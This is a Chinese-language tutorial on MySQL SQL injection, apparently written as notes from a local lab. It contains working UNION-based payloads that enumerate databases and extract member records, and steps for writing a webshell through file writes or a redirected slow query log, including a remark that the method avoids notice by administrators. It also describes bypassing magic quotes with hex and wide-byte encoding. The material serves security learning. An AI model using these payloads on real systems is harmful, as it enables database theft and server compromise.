WEB漏洞-SQL注入之MYSQL注入

MYSQL注入中首先要明确当前注入点权限,高权限注入时有更多的攻击手法,有的能直接进行getshell操作。其中也会遇到很多阻碍,相关防御方案也要明确,所谓知己知彼,百战不殆。不论作为攻击还是防御都需要了解其中的手法和原理,这样才是一个合格的安全工作者。

MYSQL注入.png

MySQL 5.x数据结构

  1. 在MySQL 5.0以上版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息,其中具有表schemata(数据库名),table(表名),columns(列名或字段名)
  2. 在schemata表中,schema_name字段用来存储数据库名
  3. 在table表中,table_schema和table_name分别用来存储数据库名和表名
  4. 在column表中,table_schema(数据库名),table_name(表名),column_name(字段名)

高权限注入跨库查询

权限足够高时可以利用information_schema表.通过select * from schemata; 进行数据库名查询,再去选择进行查询获取指明数据库里的数据,再查询表名字段名

#最基本的注入查询
#查询所有库名
http://192.168.50.10:83/Less-2/?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata
#查询表名
http://192.168.50.10:83/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='niushop_b2c'
#查询列名
http://192.168.50.10:83/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='ns_member' and table_schema='niushop_b2c'
#查询数据
http://192.168.50.10:83/Less-2/?id=-1 union select uid,member_name,member_level from niushop_b2c.ns_member

QQ截图20211125154212.png

QQ截图20211125154227.png

QQ截图20211125155110.png

QQ截图20211125155138.png

高权限注入文件读写操作

利用load_file()函数可以读取服务器上的文件,但是在mysql 5.6.34版本以后对该操作进行了限制,secure_file_priv的值默认为NULL

  • secure_file_priv限制了load_file()函数的操作范围,且不能用sql语句修改该参数的值当改参数值为null时,load_file()函数无法读取任何文件,修改该参数只能通过修改配置文件实现,同样对于outfile的语句也会有同样的限制
show variables like '%version%';
show variables like '%secure_file_priv%';
show variables like '%secure_file_priv%';

QQ截图20211125160147.png

修改配置文件的参数后重启数据库,再进行测试,可以进行文件读取和写入操作,在发现sql注入漏洞的情况下可以使用该方式对于一些主机和数据库在同一台服务器上的web站点写入一个小马,获得webshell

QQ截图20211125160511.png

QQ截图20211125160519.png

QQ截图20211125160605.png

  • 路径获取常见方法:报错显示

image.png

  • 路径获取常见方法:遗留文件

image (1).png

image (2).png

  • 路径获取常见方法:漏洞报错

image (3).png

image (4).png

  • 路径获取常见方法:平台配置文件

image (5).png

  • 路径获取常见方法:爆破

可以利用字典通过漏洞查找系统关键文件中的信息关键文件dic.txt

突破secure_file_priv参数利用慢日志写入小马

在php文件包含漏洞中我们有过这种利用方法:攻击时进行一次附带代码的url请求,在日志记录这次请求之后,通过文件包含漏洞来包含这个日志文件,从而执行请求中的代码.mysql也具有日志,我们也可以通过日志来getshell,前提是当前登录的用户具有足够的权限

  • mysql也具有日志,我们也可以通过日志来getshell。mysql日志主要包含:错误日志、查询日志、慢查询日志、事务日志,日志的详细情况参考mysql日志详细解析我们主要利用慢查询日志来写shell,步骤大致分为三步
#设置slow_query_log=1.即启用慢查询日志(默认禁用)
set global slow_query_log=1;

#伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名,如果知道web目录,有足够权限的情况下可以直接写入web目录,从而不需要文件包含漏洞而可以直接执行文件
set global slow_query_log_file='dir\filename.php';

#向日志文件写入shell
select 'shell' or sleep(11);

对慢查询日志的补充

  • 因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。通常情况下执行sql语句时的执行时间一般不会超过10s,所以说这个日志文件应该是比较小的,而且默认也是禁用状态,不会引起管理员的察觉
#查看服务器默认时间值
show global variables like '%long_query_time%';

魔术引号及常见防护

QQ截图20211125163849.png

  • magic_quotes_gpc参数值为On时,魔术引号会对字符串中的的一些特殊字符自动做转义处理,如果在sql语句中,会使得sql注入失效

QQ截图20211125164053.png

  • 可以利用十六进制编码进行注入,避免特殊符号被转义,sql注入查询的结果被转义,也可以用十六进制编码进行输出,然后再对结果进行还原,除了十六进制,还可以利用宽字节进行注入

  • 小葵多功能转换工具.rar

QQ截图20211125164323.png